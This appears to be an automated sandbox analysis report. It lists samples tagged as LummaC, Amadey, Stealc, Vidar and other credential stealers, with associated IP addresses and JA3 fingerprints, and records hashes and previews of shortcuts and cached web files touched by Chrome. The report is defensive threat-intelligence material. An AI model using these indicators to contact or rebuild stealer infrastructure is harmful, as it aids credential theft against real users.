	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	lem.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:13:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.981260626648655
Encrypted:	false
SSDEEP:	48:8Gd/T3PvHyidAKZdA19ehwiZUklqehQy+3:8a7g/y
MD5:	65A43D7240F032A1E88DAE29B6641B3A
SHA1:	BD6DF51A1D7DA4DEDD67CD1636935CF2BD1C8465
SHA-256:	7509916A81F7E7CAA1A20514C92B157C8E3666FFC1B58B73711DA31C1136893C
SHA-512:	4EACD2CD7CD0860094AAAE3DA1858E56C11F9DC8F08EFDAC5C7F550144BA8483BB613174B5F1116BB0B2BC203BA85E581ADE9CC2C2CA81E783A47B59C47D167D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....E..tiX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:13:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9987575318877773
Encrypted:	false
SSDEEP:	48:8nd/T3PvHyidAKZdA1weh/iZUkAQkqehvy+2:8J7a9QWy
MD5:	358D80BC8F330480AD6AEE438A445398
SHA1:	A995FC125D939470E678B98E0D23BECAEA314CC5
SHA-256:	3F67103ECB1812686F8963958AFBEE3E00B9264F6C6C01215E1FD0DC9F277BD9
SHA-512:	C489915AD59527DF2DC59939B5BD2047A8A66188D1AC3F5D3C31F7759B1B83A458D03041103414D1548DF97076D631E404EFA74454BBFBCDE93AF10905BF2B3A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......tiX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0127353798401195
Encrypted:	false
SSDEEP:	48:8xwd/T3PsHyidAKZdA14tseh7sFiZUkmgqeh7sdy+BX:8x87TnLy
MD5:	5548EEF1EE654997648960C6F5B55FBB
SHA1:	70EADDEF4A166442DC1A89E8AF1C0BF773E7DBA0
SHA-256:	D2225B0AA70B0AC1DFD39D20A3AEA7751C372E4411C95BB8EBD3EBA9788BB3FF
SHA-512:	344D94DE456BC29C54B8F7F9F9C3CA44125BF66738486C0F022FA55BD53C7BE64035F4168422E7001B876AA663ABD4F11F072BAC4E2C99CA35DEB8EEAF77D049
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:13:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9968760153997884
Encrypted:	false
SSDEEP:	48:8od/T3PvHyidAKZdA1vehDiZUkwqehjy+R:8k7BVy
MD5:	DACFF7501E2EA6F0AA270BB0983E1910
SHA1:	0F543F1897E02B1A4355B1E666E093BBD433DD28
SHA-256:	1409F80CC2D24B32A4BF31B3AD39B5BA826BA2C63E522BE72B74A862C1E02728
SHA-512:	A3CA041A3CE6DB90BB8F716DFE951E659309C94C001D9E1CF05175D9FCCABA50EB21F79D87050C9FF66D4A84E3B45A723958AD0DB3E4816A61032590FDC85A0A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......ztiX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:13:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9857212471752037
Encrypted:	false
SSDEEP:	48:8hd/T3PvHyidAKZdA1hehBiZUk1W1qehJy+C:8D7B9py
MD5:	CB48EFFF74297BB296A40EFBDAFAA057
SHA1:	0D768170714BCC5379FEEE09B56660DF0CF8FDFC
SHA-256:	ACA7EAE7F6A84C8B28587F25A9423F70268AC06871727EE221DA4ACA14083E57
SHA-512:	05B024FC563FD01D90D792CAB6EDF050BCD37AB096B35634A97F9C2A208396A0FD0F8B7A0990492FBE266884B7CE6FBA8E658F227573111418DF0939405A9FF8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......tiX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:13:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992772547942279
Encrypted:	false
SSDEEP:	48:8Dd/T3PvHyidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:8V79T/TbxWOvTbLy7T
MD5:	326E625C8BDC88F1A64BE35503E7C262
SHA1:	54D6F9DF3D8B6C672FEEF5ED4EDA0032D0A3B85D
SHA-256:	987A6288D870B1E1845F3CCAAD0090270A3542F24C5796683DC1982200ACDFE2
SHA-512:	F0E0080DAD97752EE7B7977FE574A27BF4347E2E6534D0B68A84BD945C439CD0BB52AEEA3CB7512B38E2E76FE8DE144B6E031E13917AF259F6BEC80632644C41
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....GptiX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
